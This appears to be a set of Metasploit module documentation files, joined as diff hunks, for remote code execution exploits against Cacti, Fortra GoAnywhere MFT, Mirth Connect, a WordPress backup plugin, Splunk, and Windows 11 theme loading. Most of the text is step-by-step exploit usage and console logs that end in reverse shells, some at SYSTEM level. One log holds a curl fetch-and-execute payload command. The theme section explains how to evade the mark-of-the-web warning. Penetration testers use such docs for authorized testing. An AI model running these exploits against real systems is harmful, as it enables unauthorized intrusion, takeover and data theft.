mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
```
- Create a `./cacti/` directory with `mkdir cacti`
- Add the following files in the `./cacti/` folder (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
- `Dockerfile`:
```
FROM php:7.4-apache
RUN apt-get update && \
apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev
RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
docker-php-ext-configure intl &&\
docker-php-ext-configure pcntl --enable-pcntl &&\
docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext
RUN mkdir /var/www/html/cacti &&\
wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.25.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1
COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
```
- `cacti.ini`
```
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
```
- `config.php`
```
<?php
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port = '3306';
$database_retries = 5;
$database_ssl = false;
$database_ssl_key = '';
$database_ssl_cert = '';
$database_ssl_ca = '';
$database_persist = false;
$poller_id = 1;
$url_path = '/cacti';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
```
- Run `docker-compose up`
- Access http://127.0.0.1:8080
- Login with the `admin` user (password: `admin`)
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)
Note that other version can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.25.tar.gz`).
### Cacti on Windows
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
Follow the same installation steps as for the Docker installation.
### Setup a new user
- Login with the `admin` user (password: `admin`)
- Go to `Configuration` > `Users`
- Click on the `+` sign
- Enter the `User Name`, `Password` and check the `Enabled` option.
- Click `Create`
- Go to the `Permissions` tab and set the `Sites/Devices/Data` permission in `General Administration`
- Click `Save`
## Verification Steps
1. Install the application
1. Start msfconsole
1. Do: `use exploit/multi/http/cacti_pollers_sqli_rce`
1. Do: `set target <target>`
1. Do: `set payload <payload>`
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
1. You should get a shell.
## Options
### USERNAME
The user to login with (default `admin`).
### PASSWORD
The password to login with (default `admin`)
### TARGETURI
The base URI of Cacti (default `/cacti`).
## Scenarios
### Cacti version 1.2.25 on Docker installation
```
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 0
target => 0
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=127.0.0.1 rport=8080 lhost=192.168.144.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.25
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti520.log) to the `settings` table
[*] Inserting the log file path `log/cacti520.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (3045380 bytes) to 192.168.144.1
[*] Cleaning up log file
[*] Meterpreter session 8 opened (192.168.144.1:4444 -> 192.168.144.1:51181) at 2024-01-29 22:00:19 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 172.25.0.3
OS : Debian 11.5 (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Cacti version 1.2.24 on Windows 11
```
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set target 1
target => 1
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/cacti_pollers_sqli_rce) > run rhost=192.168.144.134 lhost=192.168.144.1 username=msfuser password=12345678
[*] Started reverse TCP handler on 192.168.144.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.24
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Checking permissions to access `pollers.php`
[*] Attempting SQLi to check if the target is vulnerable
[+] The target is vulnerable.
[*] Backing up the current log file path and adding a new path (log/cacti715.log) to the `settings` table
[*] Inserting the log file path `log/cacti715.log` to the external links table
[*] Getting the user ID and setting permissions (it might take a few minutes)
[*] Logging again to apply new settings and permissions
[*] Getting the CSRF token to login
[*] Attempting login with user `msfuser` and password `12345678`
[+] Logged in
[*] Poisoning the log
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 192.168.144.134
[*] Cleaning up log file
[*] Meterpreter session 7 opened (192.168.144.1:4444 -> 192.168.144.134:64144) at 2024-01-29 21:58:59 +0100
[*] Cleaning up external link using SQLi
[*] Cleaning up permissions using SQLi
[*] Cleaning up the log path in `settings` table using SQLi
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DESKTOP-26CQRHP
OS : Windows 11 (10.0 Build 22000).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
```
@@ -0,0 +1,166 @@
## Vulnerable Application
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
## Testing
To test use Fortra GoAnywhere 7.4.0. You will need to register for a trial from the Fortra website in order to
receive a 30 day trial license. The portal where you receive a trial license will only let you download the most
recent version of the product, so you will also need to have access to an installer for an older, vulnerable version
of the product to install and test on.
## Verification Steps
The exploits default target 0 (Automatic), will detect the target systems OS, so you do not need to specify the target
OS (Linux or Windows).
1. Start msfconsole
2. `use exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204`
3. `set RHOST <TARGET_IP_ADDRESS>`
4. `set target 0`
5. `set PAYLOAD java/jsp_shell_reverse_tcp`
6. `check`
7. `exploit`
## Options
### GOANYWHERE_INSTALL_PATH
This is the file system path to the GoAnywhere MFT installation. If the target is set to `Automatic`, then this path
will be discovered automatically.
## Scenarios
The Automatic target will detect the GoAnywhere MFT servers OS and select the correct target, or you can explicitly
select a target platform (Linux or Windows).
### Automatic (Linux)
```
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.100.1.30 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT 8001 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /goanywhere/ yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.30:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
[*] Started reverse TCP handler on 10.100.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: uchvkpgt:ZindpxggDdvtrxu3
[*] Automatic targeting, detected OS: Linux
[*] Automatic targeting, detected install path: /opt/HelpSystems/GoAnywhere
[*] Dropped payload: /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[+] Deleted /opt/HelpSystems/GoAnywhere/adminroot/EIlMlYdQ.jsp
[!] Tried to delete /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/EIlMlYdQ.jsp, unknown result
[+] Deleted /opt/HelpSystems/GoAnywhere/userdata/documents/uchvkpgt/
[*] Command shell session 4 opened (10.100.1.10:4444 -> 10.100.1.30:49572) at 2024-01-29 17:49:08 +0000
id
uid=1002(gamft) gid=1002(gamft) groups=1002(gamft)
pwd
/opt/HelpSystems/GoAnywhere
uname -a
Linux ubuntu-test-vm 6.5.0-15-generic #15~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 12 18:54:30 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
exit
[*] 10.100.1.30 - Command shell session 8 closed.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
```
### Automatic (Windows)
```
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > show options
Module options (exploit/multi/http/fortra_goanywhere_mft_rce_cve_2024_0204):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.100.1.20 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-meta
sploit.html
RPORT 8001 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /goanywhere/ yes The base path to the web application
VHOST no HTTP server virtual host
Payload options (java/jsp_shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.100.1.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
SHELL no The system shell to use.
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > check
[*] 10.100.1.20:8001 - The target appears to be vulnerable. GoAnywhere MFT 7.4.0
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) > exploit
[*] Started reverse TCP handler on 10.100.1.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. GoAnywhere MFT 7.4.0
[*] Created account: ckgbeqlo:ib0Qk3cMDvnaipTP
[*] Automatic targeting, detected OS: Windows
[*] Automatic targeting, detected install path: C:\Program Files\Fortra\GoAnywhere
[*] Dropped payload: C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\adminroot\b9OvIFdK.jsp, unknown result
[!] Tried to delete C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\b9OvIFdK.jsp, unknown result
[*] Command shell session 9 opened (10.100.1.10:4444 -> 10.100.1.20:57059) at 2024-01-29 16:31:01 +0000
[!] This exploit may require manual cleanup of 'C:\Program Files\Fortra\GoAnywhere\userdata\documents\ckgbeqlo\' on the target
Shell Banner:
Microsoft Windows [Version 10.0.20348.1607]
(c) Microsoft Corporation. All rights reserved.
-----
C:\Program Files\Fortra\GoAnywhere>whoami
whoami
nt authority\system
C:\Program Files\Fortra\GoAnywhere>exit
exit
[*] 10.100.1.20 - Command shell session 9 closed.
msf6 exploit(multi/http/fortra_goanywhere_mft_rce_cve_2024_0204) >
```
@@ -0,0 +1,121 @@
## Vulnerable Application
A vulnerability exists within Mirth Connect due to its mishandling of deserialized data. This vulnerability
can be leveraged by an attacker using a crafted HTTP request to execute OS commands within the context of the
target application. The original vulnerability was identified by IHTeam and assigned CVE-2023-37679. Later,
researchers from Horizon3.ai determined the patch to be incomplete and published a gadget chain which bypassed
the deny list that the original had implemented. This second vulnerability was assigned CVE-2023-43208 and was
patched in Mirth Connect version 4.4.1. This module has been tested on versions 4.1.1, 4.3.0 and 4.4.0.
### Setup (Linux with Docker)
1. Run the application in docker: `docker run --name mirth-connect --rm -d -p 8443:8443 nextgenhealthcare/connect:4.4.0`
### Setup (Windows)
1. Download the desired release from the [GitHub page][1]
2. Install a Java runtime
3. Install Mirth Connect
1. Accept all default values for every stage of the installation
## Verification Steps
1. Follow the steps from the Setup section to create a test instance
2. Start msfconsole
3. Run: `use exploit/multi/http/mirth_connect_cve_2023_43208`
4. Set the `RHOSTS`, `PAYLOAD` and payload-related options
5. Run the module
## Options
## Scenarios
### Mirth Connect 4.4.0 in Docker
Note that Python is not available in the docker container, so no Python payloads will work.
```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Unix\ Command
TARGET => Unix Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http
Display all 106 possibilities? (y or n)
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > exploit
[*] Command to run on remote host: curl -so /tmp/PFYkPcUX http://192.168.159.128:8080/jvE_gjDKxuQo86-91TitNQ; chmod +x /tmp/PFYkPcUX; /tmp/PFYkPcUX &
[*] Fetch Handler listening on 192.168.159.128:8080
[*] HTTP server started
[*] Adding resource /jvE_gjDKxuQo86-91TitNQ
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.1.1
[+] The target appears to be vulnerable. Version 4.1.1 is affected by CVE-2023-37679.
[*] Executing cmd/linux/http/x64/meterpreter/reverse_tcp (Unix Command)
[+] The target appears to have executed the payload.
[*] Client 192.168.159.128 requested /jvE_gjDKxuQo86-91TitNQ
[*] Sending payload to 192.168.159.128 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.159.128
[*] Meterpreter session 6 opened (192.168.159.128:4444 -> 192.168.159.128:49360) at 2024-01-26 17:11:37 -0500
meterpreter > getuid
Server username: mirth
meterpreter > sysinfo
Computer : 10.0.2.100
OS : Debian 11.4 (Linux 6.6.12-200.fc39.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/opt/connect
meterpreter >
```
### Mirth Connect 4.4.0 on Windows Server 2019
```
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set TARGET Windows\ Command
TARGET => Windows Command
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set PAYLOAD cmd/windows/powershell/x64/meterpreter/reverse_tcp
PAYLOAD => cmd/windows/powershell/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set LHOST 192.168.159.128
LHOST => 192.168.159.128
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > set VERBOSE true
VERBOSE => true
msf6 exploit(multi/http/mirth_connect_cve_2023_43208) > run
[*] Powershell command length: 4418
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected target version: 4.4.0
[+] The target appears to be vulnerable. Version 4.4.0 is affected by CVE-2023-43208.
[*] Executing cmd/windows/powershell/x64/meterpreter/reverse_tcp (Windows Command)
[+] The target appears to have executed the payload.
[*] Sending stage (201798 bytes) to 192.168.159.10
[*] Meterpreter session 5 opened (192.168.159.128:4444 -> 192.168.159.10:60705) at 2024-01-26 17:10:20 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DC
OS : Windows Server 2019 (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain : MSFLAB
Logged On Users : 13
Meterpreter : x64/windows
meterpreter > pwd
C:\Program Files\Mirth Connect
meterpreter >
```
[1]: https://github.com/nextgenhealthcare/connect/releases
@@ -0,0 +1,126 @@
## Vulnerable Application
This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is
exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint.
The vuln makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
### Setup
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
```
version: "3"
# Defines which compose version to use
services:
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
db:
image: mysql:5.7
# image: mysql:5.7 indicates the MySQL database container image from Docker Hub used in this installation.
restart: always
environment:
MYSQL_ROOT_PASSWORD: MyR00tMySQLPa$$5w0rD
MYSQL_DATABASE: MyWordPressDatabaseName
MYSQL_USER: MyWordPressUser
MYSQL_PASSWORD: Pa$$5w0rD
# Previous four lines define the main variables needed for the MySQL container to work: database, database username, database user password, and the MySQL root password.
wordpress:
depends_on:
- db
image: wordpress:latest
restart: always
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
ports:
- "8000:80"
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: MyWordPressUser
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
WORDPRESS_DB_NAME: MyWordPressDatabaseName
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
volumes:
["./:/var/www/html"]
volumes:
mysql: {}
```
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
plugin. You should now have a vulnerable instance running.
## Verification Steps
1. Start msfconsole
1. Do: `use `
1. Set the `RHOST`, `USERNAME`, and `PASSWORD` options
1. Run the module
1. Receive a Meterpreter session in the context of the user running the WordPress application.
## Scenarios
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
```
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
rport => 8000
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(multi/http/wp_backup_migration_php_filter) > options
Module options (exploit/multi/http/wp_backup_migration_php_filter):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOAD_FILENAME ONxu.php yes The filename for the payload to be used on the target host (%RAND%.php by default)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.123.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/wp_backup_migration_php_filter) > run
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.0
[+] Detected Backup Migration Plugin version: 1.3.7
[+] The target appears to be vulnerable.
[*] Writing the payload to disk, character by character, please wait...
[*] Sending stage (39927 bytes) to 192.168.123.1
[+] Deleted L
[+] Deleted ONxu.php
[*] Meterpreter session 3 opened (192.168.123.1:4444 -> 192.168.123.1:56224) at 2024-01-11 12:17:34 -0500
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 856d06702f34
OS : Linux 856d06702f34 6.5.11-linuxkit #1 SMP PREEMPT_DYNAMIC Wed Dec 6 17:14:50 UTC 2023 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,109 @@
## Vulnerable Application
This Metasploit module exploits a Remote Code Execution (RCE) vulnerability in Splunk Enterprise.
The vulnerability affects versions 9.0.x prior to 9.0.7 and 9.1.x before 9.1.2.
The exploit takes advantage of a flaw in the XSLT transformation functionality of Splunk Enterprise
and requires valid credentials to be executed successfully, with the default credentials often being admin:changeme.
Upon successful exploitation, the attacker is able to execute code with the same privileges as the Splunk service user.
Typically, this user is 'splunk' and the resulting shell will have permissions associated with this user account,
which may vary depending on the specific environment and configuration of the Splunk service.
## Verification Steps
1. **Start Metasploit**: Launch `msfconsole` in your Metasploit framework.
2. **Select the Module**: Use the module with the command `use exploit/unix/http/splunk_xslt_authenticated_rce`.
3. **Disable AutoCheck**: Optionally, you can disable the automatic vulnerability check with `set AutoCheck false`.
4. **Execute the Exploit**: Use the `exploit` command to run the exploit.
## Scenarios
```
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > options
Module options (exploit/unix/http/splunk_xslt_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD changeme yes Password for Splunk
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RANDOM_FILENAME gWQgBqnz no Random filename with 8 characters
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasp
loit.html
RPORT 8000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
USERNAME admin yes Username for Splunk
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME eXHMuZOtzdPG no Name to use on remote system when storing payload; cannot contain spaces.
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces.
LHOST 192.168.1.5 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > set rhosts chocapikk.lab
rhosts => chocapikk.lab
msf6 exploit(unix/http/splunk_xslt_authenticated_rce) > exploit
[*] Started reverse TCP handler on 192.168.1.5:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Successfully authenticated on the Splunk instance
[+] The target appears to be vulnerable. Exploitable version found: 9.1.1
[+] Successfully authenticated on the Splunk instance
[*] Extracting CSRF token from cookies
[+] CSRF token successfully extracted: 4066849599386392852
[+] Malicious file uploaded successfully
[*] Sending job search request to /en-US/splunkd/__raw/servicesNS/admin/search/search/jobs
[*] Triggering XSLT transformation at /en-US/api/search/jobs/1701424044.745/results?xsl=/opt/splunk/var/run/splunk/dispatch/1701424043.744/gWQgBqnz.xsl
[+] XSLT transformation triggered successfully
[*] Executing payload at /en-US/splunkd/__raw/servicesNS/admin/search/search/jobs
[+] Payload executed successfully
[*] Sending stage (3045380 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 172.17.0.2:60690) at 2023-12-01 10:47:25 +0100
meterpreter > sysinfo
Computer : 172.17.0.2
OS : Red Hat Enterprise Linux 8 (Linux 6.4.10-060410-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### Exploitation Process
1. **Authentication**: The module authenticates using provided credentials.
2. **CSRF Token Extraction**: Extracts a CSRF token from the Splunk server for subsequent requests.
3. **Malicious File Upload**: Uploads a malicious XSL file to the server.
4. **Triggering XSLT Transformation**: Initiates an XSLT transformation to execute the payload.
5. **Executing Payload**: Executes the payload, resulting in a reverse shell or similar access.
### Creating a Vulnerable Splunk
```
docker run -p 8000:8000 -e "SPLUNK_PASSWORD=Password^" -e "SPLUNK_START_ARGS=--accept-license" -it splunk/splunk:9.1.1
```
To create a vulnerable user, login with admin, then browse:
settings > users > New User
Create a new user with the 'user' and 'splunk-system-role' role
### Expected Results
- This exploit requires valid credentials for successful execution.
@@ -0,0 +1,143 @@
## Description
There exists a time of check to time of use vulnerability in the way Windows 11 loads msstyles files when they are
loaded via a theme file. When a user opens a theme which references an msstyles file with a `PACKME_VERSION`
of 999, the process will check for the presence of the msstyles file appended with "_vrf.dll". If the file is found,
the process will open the file to check for a signature. If the signature is valid, the process closes the file and
then loads it. By closing the file after the check and before loading it, we can feed a legitimate signed dll to the
check read, and then substitute a malicious dll for the second, resulting in the process loading our dll and executing
arbitrary code.
To control this race condition, we implement a UNC path pointing back to an SMB server we control that uses the type
of request issued by the SMB client to dictate the file served to it; we serve a signed Microsoft Binary when the
verification takes place, but serve a payload dll when the host attempts to load the file.
Because the PACKME_VERSION must be 999 and licinsing limits our ability to include a microsoft binary in Metasploit,
this module includes a tool to take a normal windows aero.msstyles file and give it the required PACKME_VERSION.
As the aero.msstyles file is also a signed binary, we can use it as both the msstyles file and the legitimate signed
dll file. This will fail if the msstyles file is already altered for this exploit. For this example, we used the
aero file located in `C:\Windows\Resources\Themes\aero\` on a stock Windows 10 x64 installation.
As a final step, a user may convert the resultant theme file into a themepack file by using the linux command
`lcab exploit.theme exploit.themepack`
By converting this into a themepack file rather than a theme file, it circumvents the "mark of the web" and will no
longer result in a security warning dialog box before opening.
## Vulnerable Application
Windows 11
## Verification Steps
1. `./msfconsole`
2. `set payload windows/x64/meterpreter_reverse_tcp`
3. `set LHOST <IP>`
4. `set LPORT <PORT>`
5. `set STYLE_FILE` <PATH_TO_AERO_FILE>
6. `set DisablePayloadhandler false`
7. `run`
8. [OPTIONAL] Convert the theme file to a themepack file with the Linux command `lcab exploit.theme exploit.themepack`
9. Copy theme or themepack file over to target.
## Options
### STYLE_FILE
This file must be a signed msstyles file and serves 2 purposes:
1. We adjust this msstyles file to have the required PACKME_VERSION and serve it as part of the exploit.
2. As the msstyles file is an executable dll, we also serve it as the legitimate signed file to pass the verification
before serving the payload dll. A file of this type is located on Windows 10 hosts under
`C:\Windows\Resources\Themes\aero\aero.msstyles`
.
### STYLE_FILE_NAME
This is the name of the style file added to the theme file we create.
### THEME_FILE_NAME
This is the name of the theme file created by the exploit to send to the target host.
## Scenarios
### Windows 11
```
msf6 > use exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > show options
Module options (exploit/windows/fileformat/theme_dll_hijack_cve_2023_38146):
Name Current Setting Required Description
---- --------------- -------- -----------
SHARE no Share (Default Random)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the loc
al machine or 0.0.0.0 to listen on all addresses.
SRVPORT 445 yes The local port to listen on.
STYLE_FILE yes The Microsoft-signed .msstyles file (e.g. aero.msstyles).
STYLE_FILE_NAME yes The name of the style file to reference.
THEME_FILE_NAME exploit.theme yes The name of the theme file to generate.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows
View the full module info with the info, or info -d command.
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set SRVHOST 10.5.135.201
SRVHOST => 10.5.135.201
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE '/home/tmoose/rapid7/metasploit-framework/aero.msstyles'
STYLE_FILE => /home/tmoose/rapid7/metasploit-framework/aero.msstyles
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set STYLE_FILE_NAME aero
STYLE_FILE_NAME => aero
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > set verbose true
verbose => true
msf6 exploit(windows/fileformat/theme_dll_hijack_cve_2023_38146) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
